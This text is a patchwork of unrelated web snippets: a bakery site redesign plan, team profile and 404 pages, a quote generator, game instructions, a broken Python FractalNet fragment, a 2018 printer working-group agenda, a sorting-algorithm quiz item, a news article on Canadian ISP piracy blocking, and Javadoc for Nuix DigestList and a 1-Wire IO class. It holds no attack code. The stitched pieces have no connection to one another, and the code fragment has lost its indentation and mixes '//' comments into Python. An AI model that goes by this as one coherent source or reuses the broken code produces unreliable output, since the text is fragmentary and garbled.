| Current Clients: AJ and Fred currently have three major accounts with a restaurant corporate office, a hospital, and a Catholic school where they bring in fresh cinnamon rolls/pastries into the office on a weekly basis for their employees to enjoy. The employees working in these offices primarily appear to be middle-classed women in their mid-20s to 40s. |
Not user friendly, very basic and not appealing to the eye, no list of baked goods, no contact or order form, redudant information | Redesign the style of the whole website, create a navigation link or menu to showcase list of goods and prices, and create a contact and/or order form. |
| Potential Clients: Outside of the their three major accounts, they hope to attract business from individual customers; for instance, from the employees from the above-mentioned corporate offices. They are also looking into obtaining a space at the local farmers markets in the area to sell their pastries and drum up business. They are looking into catering opportunities for events such as weddings or birthday parties. |
In addition to the above-mentioned under Current Clients, the website did not seem "personable", "unrelatable". | Upload images of AJ and Fred and create an "about us" page to show potential customers who they are and to read about how Better Batter Bakery came to be. Upload images of their baked goods. Create links to their social media accounts. |
| Affiliates: They have affiliated themselves with a coffee roasting company in hopes, of course, to drum up more business for the bakery. |
There is no acknowledgement of the affiliates. | Mention the affiliates and perhaps create a link to the affiliates' webpage. |


My Team
Rob
Manager
ID: 1
Email:
<EMAIL_ADDRESS>Office number: 1
Lily
Engineer
ID: 2
Email:
<EMAIL_ADDRESS>Github:
lilydev
Jen
Intern
ID: 3
Email:
<EMAIL_ADDRESS>School: Intern School


--- layout: page ---
Looks like the page you were looking for is not here...
Try going back to home instead


Random Quote Generator
You have to dream before your dreams can come true.
Dr. A. P. J. Abdul Kalam
Generate Random Quote


Alright stranger, wanna checkout my personal love story? How embrassing!
Well, just make sure you know how to skip the boring dialogs by pressing " space"
enjoy!
INSTRUCTIONS
* press a s d to move to the spot
* press space to skip dialogs / unlock stages.
* drag to view different angle
* scroll to zoom in and out


for layer in self.layers:
if isinstance(layer, FractalBlock):
if not self.consist_gdrop or global_cols is None:
global_cols = np.random.randint(0, self.n_columns, size=[GB])
out = layer(out, global_cols, deepest=deepest)
else:
out = layer(out)
return out
// join
joined = self.join(cur_outs, global_cols)
for c in range(st, self.n_columns):
outs[c] = joined
return outs[-1] // for deepest case
class FractalNet(nn.Module):


The PWG meetings will be held on August 15-16, 2018 only via WebEx teleconference (Virtual F2F).
There is no registration fee or RSVP survey for this meeting.
To join the online meeting:
Call-in toll-free number (US/Canada): +1<PHONE_NUMBER>
Call-in toll number (US/Canada): +1<PHONE_NUMBER>
Call-in toll number (US/Canada): +1<PHONE_NUMBER>
Global toll-free call in numbers and other audio options ("Call Me Back" or VoIP) are listed once you join the WebEx meeting.
Attendee access code: Presented in the WebEx meeting
Note:All times are US Mountain Daylight Time ( UTC-06:00 ) - daylight savings time takes effect March 11, 2018 in the US.
Discussions at PWG face-to-face meetings are covered by the PWG Policy on Intellectual Property and Confidentiality - basically everything we discuss is non-confidential and can be included in an open standard.
| Date | Times | Description |
|---|---|---|
| August 15 |
9:00 AM to 10:00 AM | PWG Plenary |
| 10:00 AM to 10:30 AM | IPP WG : Status | |
| 10:30 AM to 11:00 AM | IPP WG : IPP Everywhere v1.1 | |
| 11:00 AM to 11:30 AM | Break / Lunch | |
| 11:30 AM to 12:30 PM | IPP WG : Job Reprint Password | |
| 12:30 PM to 2:00 PM | IPP WG : IPP System Service | |
| August 16 | 9:00 AM to 10:30 AM | IDS WG : Status and Discussion |
| 10:30 AM to 11:00 AM | IPP WG : TLS 1.3 and PWG | |
| 11:00 AM to 11:30 AM | Break / Lunch | |
| 11:30 AM to 12:30 PM | IPP WG : IPP Authentication Methods | |
| 12:30 PM to 1:45 PM | IPP WG : IPP 3D v1.1 · PWG Safe G-Code · PWG / AMSC / ISO 3D Liaison Discussion | |
| 1:45 PM to 2:00 PM | IPP WG : Next Steps |


Water My Plants makes creating a watering schedule simple, intuitive, and fun. Forgetting when you last watered a plant is easy to do when you've got so many other tasks jostling for attention. Water too soon and your plant friends get soggy feet, but water too late and they're dying of thirst. Plant care is supposed to be relaxing and rewarding, not anxiety-inducing. Let Water My Plants take the guesswork out of plant care so no plant ever goes unwatered again.
Here are all the awesome people who brought Water My Plants to life! This build week project is a collaboration between the UX and Full Stack Web Development tracks at Lambda School.


Famous Firsts
New Game
Join Game
Leave Game
How To Play
Access Code
Players & Scores
Time Remaining
Game
Chat
Send
Add Books
Report Issues
Hand coded with love and © 2020 by Dan Ratner, All Rights Reserved.
No personal data is collected by this game and all data submitted is deleted when the game is over.


Which of the following sorting algorithms
has a worst case complexity of
\Theta(n \log n)
?
Bubble Sort, Insertion Sort, and Selection Sort are referred to as "quadratic sorts" because of their worst-case time cost.
The cost of Radix Sort depends both on the number of records and the number of digits in the key.


Canadian court issues piracy blocking order to ISPs
Toronto? More like Torrent-o
by Alan MartinA CANADIAN FEDERAL COURT has decided that the country's ISPs should be blocking an internet pirate TV station, Reclaim The Net reports.
The site in question is GoldTV. Unlike its legitimate namesake in the UK which specialises in back-to-back reruns of Only Fools and Horses, GoldTV provided more modern, more desirable content to those happy to see rights holders' earnings fall.
The judge concluded that such a block wouldn't affect freedom of expression or net neutrality, so Canada's IPs have been ordered to block access to GoldTV within 15 days. Some are likely more onboard with the idea than others. Bell, Rogers and Videotron all have cable TV as part of their portfolio, so have a not particularly vested interest in seeing IPTV stations go down the tubes.
One unhappy ISP, however, is TekSavvy, which told TorrentFreak that the move was squarely in that typical unhappy middle ground of government tech intervention, where it's a heady mix of draconian, expensive and ineffective - see also the porn block.
"If the plaintiffs were successful in obtaining a site-blocking order in this case, there is no question that they would use it as a precedent to obtain other site-blocking orders, whether in respect of copyright infringement or otherwise.
"TekSavvy could be faced with hundreds and even thousands of websites to block and monitor, exponentially increasing the costs of operating and maintaining a site-blocking system and overwhelming TekSavvy's capacity."
Interestingly the judge presiding the case was alive to the patchy nature of ISP site blocking. Judge Patrick Gleeson said: "It's clear from the evidence that site-blocking will not eliminate user access to infringing services. However, the evidence does establish that in those jurisdictions where site-blocking measures have been implemented there has been a significant reduction in visits to infringing websites."
Site blocking via ISPs has been a fixture in the UK for some time. Despite this, the word "piracy" is still available to look up in the dictionary today. µ
Further reading
Nintendo flings multimillion-dollar lawsuit at 'piracy' site RomUniverse
- 12 Sep 2019
Brit ISPs have stopped sending out polite anti-piracy letters
- 22 Jul 2019
Ultraviolet's 'piracy-curbing' digital locker service is shutting down
- 31 Jan 2019
EU's list of 'piracy' websites for banning could actually break the internet
- 03 Jan 2019


Package com.nuix.superutilities.misc
Class DigestList
java.lang.Object
com.nuix.superutilities.misc.DigestList
- All Implemented Interfaces:
java.lang.Iterable<java.lang.String>
public class DigestList
extends java.lang.Object
implements java.lang.Iterable<java.lang.String>
This class provides an in-memory representation of a Nuix binary digest list. This class is capable of loading Nuix binary digest lists into memory,
modify digests present (add, remove, import) and saving out a new Nuix binary digest list.
Note: When saving a digest list to one of the directories that Nuix looks for digest lists, Nuix may not immediately recognize the presence of that new digest list until all workbench tabs are closed and re-opened, case is closed and reopened, etc.
Note: When saving a digest list to one of the directories that Nuix looks for digest lists, Nuix may not immediately recognize the presence of that new digest list until all workbench tabs are closed and re-opened, case is closed and reopened, etc.
- Author:
- Jason Wells
-
Constructor Summary
Constructors Constructor Description DigestList()
Creates a new empty instance.DigestList(java.io.File... sourceFiles)
Creates a new instance and then imports digests from each provided source Nuix binary digest list file by iteratively callingimportFile(File)
for each. -
Method Summary
Modifier and Type Method Description void
addItem(nuix.Item item)
Adds the MD5 of the provided item to this instance (if not already present).void
addItems(java.util.Collection<nuix.Item> items)
Adds the MD5s of the provided items to this instance (if not already present).void
addMd5(byte[] md5Bytes)
Adds the given MD5 to this instance (if not already present).void
addMd5(java.lang.String md5)
Adds the given MD5 to this instance (if not already present).static void
combineDigestFiles(java.io.File outputFile, java.util.Collection<java.io.File> inputFiles)
Create a new digest list file from multiple source digest lists.static void
combineDigestFiles(java.lang.String outputFile, java.util.Collection<java.lang.String> inputFiles)
Create a new digest list file from multiple source digest lists.boolean
containsMd5(byte[] md5Bytes)
Gets whether the given MD5 is present in this instance.boolean
containsMd5(java.lang.String md5)
Gets whether the given MD5 is present in this instance.static void
eachDigest(java.io.File sourceDigestList, java.util.function.Consumer<java.lang.String> md5StringConsumer)
Provides a way to iterate each MD5 string present in a given digest list file without first reading the entirety of that digest list file into memory.java.util.Set<nuix.Item>
findMatchingItems(nuix.Case nuixCase)
Finds items in given case which have MD5s matching those found in this instance.java.util.Set<nuix.Item>
findMatchingItems(nuix.Case nuixCase, int chunkSize)
Finds items in given case which have MD5s matching those found in this instance.static int
getDigestCount(java.io.File sourceDigestList)
Returns a count of digests present in the given Nuix binary digest list file.int
importCaseLevelDigestList(nuix.Case nuixCase, java.lang.String name)
Imports digests from a file located at "[CASE_DIRECTORY]\Stores\User Data\Digest Lists\[NAME].hash" (case level digest list location).int
importFile(java.io.File digestListFile)
Imports digests found in given input file to this instance (if not already present).int
importFile(java.lang.String digestListFile)
Imports digests found in given input file to this instance (if not already present).int
importSystemLevelDigestList(java.lang.String name)
Imports digests from a file located at "%programdata%\Nuix\Digest Lists\[NAME].hash" (system level digest list location).int
importUserLevelDigestList(java.lang.String name)
Imports digests from a file located at "%appdata%\Nuix\Digest Lists\[NAME].hash" (user level digest list location).java.util.Iterator<java.lang.String>
iterator()
Provides an iterator over the hexadecimal string versions of the MD5s present in this instance.void
removeItem(nuix.Item item)
Removes MD5 of provided item from this instance.void
removeItems(java.util.Collection<nuix.Item> items)
Removes MD5s from this instance based on the MD5s of the given items.void
removeMd5(byte[] md5Bytes)
Removes the given MD5 from this instance.void
removeMd5(java.lang.String md5)
Removes the given MD5 from this instance.void
saveCaseLevelDigestList(nuix.Case nuixCase, java.lang.String name)
Saves a new digest list to a file located at "[CASE_DIRECTORY]\Stores\User Data\Digest Lists\[NAME].hash" (case level digest list location).void
saveFile(java.io.File digestListFile)
Saves a new Nuix binary digest list based on the digests stored in memory of this instance.void
saveSystemLevelDigestList(java.lang.String name)
Saves a new digest list to a file located at "%programdata%\Nuix\Digest Lists\[NAME].hash" (system level digest list location).void
saveUserLevelDigestList(java.lang.String name)
Saves a new digest list to a file located at "%appdata%\Nuix\Digest Lists\[NAME].hash" (user level digest list location).int
size()
Gets the count of digests present in this instance.
-
Constructor Details
-
DigestList
public DigestList()Creates a new empty instance. -
DigestList
public DigestList(java.io.File... sourceFiles) throws java.lang.ExceptionCreates a new instance and then imports digests from each provided source Nuix binary digest list file by iteratively callingimportFile(File)
for each.- Parameters:
sourceFiles
- One or more Nuix binary digest list files to import into this instance.- Throws:
java.lang.Exception
- Thrown if there is an error while importing any digest list file.
-
-
Method Details
-
saveFile
public void saveFile(java.io.File digestListFile) throws java.lang.ExceptionSaves a new Nuix binary digest list based on the digests stored in memory of this instance. Will overwrite existing files.- Parameters:
digestListFile
- The location to which to save the new digest list.- Throws:
java.lang.Exception
- Thrown most likely if there are IO errors.
-
importFile
public int importFile(java.lang.String digestListFile) throws java.lang.ExceptionImports digests found in given input file to this instance (if not already present).- Parameters:
digestListFile
- The location of the input Nuix binary digest list file.- Returns:
- How many digests were imported from the given input Nuix binary digest list file that were not already present in this instance.
- Throws:
java.lang.Exception
- Thrown most likely due to IO errors.
-
combineDigestFiles
public static void combineDigestFiles(java.io.File outputFile, java.util.Collection<java.io.File> inputFiles) throws java.lang.ExceptionCreate a new digest list file from multiple source digest lists. A convenience method for the process of creating a new DigestList instance, importing each source digest list and then saving the combined imported results to a new output digest list.- Parameters:
outputFile
- Location to save output Nuix binary digest list file.inputFiles
- Locations of source Nuix binary digest list files.- Throws:
java.lang.Exception
- Thrown if an exception occurs while importing or saving combined result.
-
combineDigestFiles
public static void combineDigestFiles(java.lang.String outputFile, java.util.Collection<java.lang.String> inputFiles) throws java.lang.ExceptionCreate a new digest list file from multiple source digest lists. A convenience method for the process of creating a new DigestList instance, importing each source digest list and then saving the combined imported results to a new output digest list.- Parameters:
outputFile
- Location to save output Nuix binary digest list file.inputFiles
- Locations of source Nuix binary digest list files.- Throws:
java.lang.Exception
- Thrown if an exception occurs while importing or saving combined result.
-
eachDigest
public static void eachDigest(java.io.File sourceDigestList, java.util.function.Consumer<java.lang.String> md5StringConsumer) throws java.lang.ExceptionProvides a way to iterate each MD5 string present in a given digest list file without first reading the entirety of that digest list file into memory.- Parameters:
sourceDigestList
- The Nuix binary digest list file to read MD5 digests from.md5StringConsumer
- Callback which will receive each MD5 as a string as it is read from the source file.- Throws:
java.lang.Exception
- Most likely thrown if there are IO errors while reading from the source file.
-
getDigestCount
public static int getDigestCount(java.io.File sourceDigestList)Returns a count of digests present in the given Nuix binary digest list file. This is really just a convenience for the calculation:
DIGEST_COUNT = (FILE_SIZE_BYTES - 13) / 16- Parameters:
sourceDigestList
- The digest list file to calculate the digest count of.- Returns:
- The number of digest lists present in the given file based on file size in bytes.
-
importFile
public int importFile(java.io.File digestListFile) throws java.lang.ExceptionImports digests found in given input file to this instance (if not already present).- Parameters:
digestListFile
- The location of the input Nuix binary digest list file.- Returns:
- How many digests were imported from the given input Nuix binary digest list file that were not already present in this instance.
- Throws:
java.lang.Exception
- Thrown most likely due to IO errors.
-
saveCaseLevelDigestList
public void saveCaseLevelDigestList(nuix.Case nuixCase, java.lang.String name) throws java.lang.ExceptionSaves a new digest list to a file located at "[CASE_DIRECTORY]\Stores\User Data\Digest Lists\[NAME].hash" (case level digest list location). If digest list file already exists, it will be overwritten.- Parameters:
nuixCase
- The case to save the digest relative to.name
- The name of the digest list to save.- Throws:
java.lang.Exception
- Thrown if there is an error while saving.
-
saveUserLevelDigestList
public void saveUserLevelDigestList(java.lang.String name) throws java.lang.ExceptionSaves a new digest list to a file located at "%appdata%\Nuix\Digest Lists\[NAME].hash" (user level digest list location). If digest list file already exists, it will be overwritten.- Parameters:
name
- The name of the digest list to save.- Throws:
java.lang.Exception
- Thrown if there is an error while saving.
-
saveSystemLevelDigestList
public void saveSystemLevelDigestList(java.lang.String name) throws java.lang.ExceptionSaves a new digest list to a file located at "%programdata%\Nuix\Digest Lists\[NAME].hash" (system level digest list location). If digest list file already exists, it will be overwritten.- Parameters:
name
- The name of the digest list to save.- Throws:
java.lang.Exception
- Thrown if there is an error while saving.
-
importCaseLevelDigestList
public int importCaseLevelDigestList(nuix.Case nuixCase, java.lang.String name) throws java.lang.ExceptionImports digests from a file located at "[CASE_DIRECTORY]\Stores\User Data\Digest Lists\[NAME].hash" (case level digest list location).- Parameters:
nuixCase
- The Nuix case the digest list is relative to.name
- The name of the digest list to import.- Returns:
- How many digests were imported from the given input Nuix binary digest list file that were not already present in this instance.
- Throws:
java.lang.Exception
- Thrown if there was an error while importing.
-
importUserLevelDigestList
public int importUserLevelDigestList(java.lang.String name) throws java.lang.ExceptionImports digests from a file located at "%appdata%\Nuix\Digest Lists\[NAME].hash" (user level digest list location).- Parameters:
name
- The name of the digest list to import.- Returns:
- How many digests were imported from the given input Nuix binary digest list file that were not already present in this instance.
- Throws:
java.lang.Exception
- Thrown if there was an error while importing.
-
importSystemLevelDigestList
public int importSystemLevelDigestList(java.lang.String name) throws java.lang.ExceptionImports digests from a file located at "%programdata%\Nuix\Digest Lists\[NAME].hash" (system level digest list location).- Parameters:
name
- The name of the digest list to import.- Returns:
- How many digests were imported from the given input Nuix binary digest list file that were not already present in this instance.
- Throws:
java.lang.Exception
- Thrown if there was an error while importing.
-
addItem
public void addItem(nuix.Item item)Adds the MD5 of the provided item to this instance (if not already present). If the item has no MD5 it is ignored.- Parameters:
item
- The item for which the MD5 of will be added to this instance.
-
addItems
public void addItems(java.util.Collection<nuix.Item> items)Adds the MD5s of the provided items to this instance (if not already present). Items without and MD5 value are ignored.- Parameters:
items
- The items for which the MD5s will be added to this instance.
-
removeItem
public void removeItem(nuix.Item item)Removes MD5 of provided item from this instance. If the item has no MD5, it is ignored.- Parameters:
item
- The item for which the MD5 will be removed from this instance.
-
removeItems
public void removeItems(java.util.Collection<nuix.Item> items)Removes MD5s from this instance based on the MD5s of the given items. Items without an MD5 value are ignored.- Parameters:
items
- The items for which MD5s will be removed from this instance.
-
addMd5
public void addMd5(java.lang.String md5)Adds the given MD5 to this instance (if not already present).- Parameters:
md5
- Hexadecimal string of MD5 to add to this instance.
-
addMd5
public void addMd5(byte[] md5Bytes)Adds the given MD5 to this instance (if not already present).- Parameters:
md5Bytes
- Byte array of MD5 to add to this instance.
-
removeMd5
public void removeMd5(java.lang.String md5)Removes the given MD5 from this instance.- Parameters:
md5
- MD5 string to remove.
-
removeMd5
public void removeMd5(byte[] md5Bytes)Removes the given MD5 from this instance.- Parameters:
md5Bytes
- MD5 byte array to remove.
-
containsMd5
public boolean containsMd5(byte[] md5Bytes)Gets whether the given MD5 is present in this instance.- Parameters:
md5Bytes
- MD5 byte array to check for the presence of.- Returns:
- True if the given MD5 is present in this instance.
-
containsMd5
public boolean containsMd5(java.lang.String md5)Gets whether the given MD5 is present in this instance.- Parameters:
md5
- MD5 string to check for the presence of.- Returns:
- True if the given MD5 is present in this instance.
-
size
public int size()Gets the count of digests present in this instance.- Returns:
- The number of digests present.
-
findMatchingItems
public java.util.Set<nuix.Item> findMatchingItems(nuix.Case nuixCase, int chunkSize) throws java.lang.ExceptionFinds items in given case which have MD5s matching those found in this instance. Searches for MD5 values rather than using "digest-list" search field, meaning this digest list does not need to exist as a file in a location Nuix can find it, it can exist purely in memory. Searches are ran using a query like "md5:(md5A OR md5B OR ...)" with chunkSize determining how many MD5s max are submit in any given single query. Items obtained through each round of searching are then added to result using ItemUtility.union until all MD5s in this instance have been searched for. Resulting set should only ever have 1 instance of any given item, but also can have multiple different items with any given MD5.- Parameters:
nuixCase
- The case to find matching items in.chunkSize
- How many MD5s- Returns:
- Set of items which have MD5s matching those present in this instance.
- Throws:
java.lang.Exception
- If there is an error while searching for a chunk of items.
-
findMatchingItems
public java.util.Set<nuix.Item> findMatchingItems(nuix.Case nuixCase) throws java.lang.ExceptionFinds items in given case which have MD5s matching those found in this instance. Searches for MD5 values rather than using "digest-list" search field, meaning this digest list does not need to exist as a file in a location Nuix can find it, it can exist purely in memory. Searches are ran using a query like "md5:(md5A OR md5B OR ...)" with chunkSize determining how many MD5s max are submit in any given single query. Items obtained through each round of searching are then added to result using ItemUtility.union until all MD5s in this instance have been searched for. Resulting set should only ever have 1 instance of any given item, but also can have multiple different items with any given MD5.- Parameters:
nuixCase
- The case to find matching items in.- Returns:
- Set of items which have MD5s matching those present in this instance.
- Throws:
java.lang.Exception
- If there is an error while searching for a chunk of items.
-
iterator
public java.util.Iterator<java.lang.String> iterator()Provides an iterator over the hexadecimal string versions of the MD5s present in this instance. MD5 values iterate in order of MD5 values, based on comparison logic of ByteBuffer.- Specified by:
iterator
in interfacejava.lang.Iterable<java.lang.String>
-


|
1-Wire API for .NET Version 4.00
|
Generic IO routines. More...
Static Public Member Functions | |
| static final synchronized void | writeBytes (String delim, byte[] b, int offset, int cnt) |
Writes a byte[] to the specified output stream. | |
| static final synchronized void | writeBytes (byte[] b) |
Writes a byte[] to the specified output stream. |
Generic IO routines.
Supports printing and reading arrays of bytes. Also, using the setReader and setWriter methods, the source of the bytes can come from any stream as well as the destination for written bytes. All routines are static and final and handle all exceptional cases by returning a default value.
| static final synchronized void writeBytes | ( | String | delim, |
| byte[] | b, | ||
| int | offset, | ||
| int | cnt | ||
| ) | [static] |
Writes a byte[]
to the specified output stream.
This method writes a combined hex and ascii representation where each line has (at most) 16 bytes of data in hex followed by three spaces and the ascii representation of those bytes. To write out just the Hex representation, use writeBytesHex(byte[],int,int)
.
| b | the byte array to print out. |
| offset | the starting location to begin printing |
| cnt | the number of bytes to print. |
| static final synchronized void writeBytes | ( | byte[] | b | ) | [static] |
Writes a byte[]
to the specified output stream.
This method writes a combined hex and ascii representation where each line has (at most) 16 bytes of data in hex followed by three spaces and the ascii representation of those bytes. To write out just the Hex representation, use writeBytesHex(byte[],int,int)
.
| b | the byte array to print out. |